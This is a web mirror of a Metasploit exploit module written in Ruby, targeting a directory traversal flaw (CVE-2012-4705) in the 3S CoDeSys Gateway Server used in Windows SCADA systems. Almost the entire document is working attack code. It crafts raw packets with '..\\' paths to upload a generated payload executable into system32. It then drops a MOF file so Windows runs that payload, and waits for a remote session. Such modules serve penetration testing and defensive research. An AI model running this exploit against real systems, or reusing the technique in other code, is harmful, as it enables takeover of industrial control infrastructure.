CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
# https://metasploit.com
5
##
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::WbemExec
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
18
'Description' => %q{
19
This module exploits a directory traversal vulnerability that allows arbitrary
20
file creation, which can be used to execute a mof file in order to gain remote
21
execution within the SCADA system.
22
},
23
'Author' =>
24
[
25
'Enrique Sanchez <esanchez[at]accuvant.com>'
26
],
27
'License' => MSF_LICENSE,
28
'Notes' => {
29
'Stability' => [CRASH_SAFE],
30
'SideEffects' => [],
31
'Reliability' => []
32
},
33
'References' =>
34
[
35
['CVE', '2012-4705'],
36
['OSVDB', '90368'],
37
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
38
],
39
'DisclosureDate' => '2013-02-02',
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
44
],
45
'DefaultTarget' => 0))
46
47
register_options(
48
[
49
Opt::RPORT(1211),
50
])
51
end
52
53
##
54
# upload_file(remote_filepath, remote_filename, local_filedata)
55
#
56
# remote_filepath: Remote filepath where the file will be uploaded
57
# remote_filename: Remote name of the file to be executed ie. boot.ini
58
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
59
def upload_file(remote_filepath, remote_filename, local_filedata = null)
60
magic_code = "\xdd\xdd"
61
opcode = [6].pack('L')
62
63
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
64
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
65
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
66
67
# Magic_code + packing + size
68
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
69
70
tmp_pkt = opcode << file
71
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
72
pkt << tmp_pkt
73
74
print_status("Starting upload of file #{remote_filename}")
75
connect
76
sock.put(pkt)
77
disconnect
78
79
print_status("File uploaded")
80
end
81
82
def exploit
83
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
84
85
# We create an exe payload, we have to get remote execution in 2 steps
86
exe = generate_payload_exe
87
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
88
upload_file("windows\\system32\\", exe_name, exe)
89
90
# We create the mof file and upload (second step)
91
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
92
mof = generate_mof(mof_name, exe_name)
93
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
94
95
print_status("Everything is ready, waiting for a session ... ")
96
handler
97
98
#Taken from the spooler exploit writen byt jduck and HDMoore
99
cnt = 1
100
while session_created? == false and cnt < 25
101
::IO.select(nil, nil, nil, 0.25)
102
cnt += 1
103
end
104
end
105
end
106
107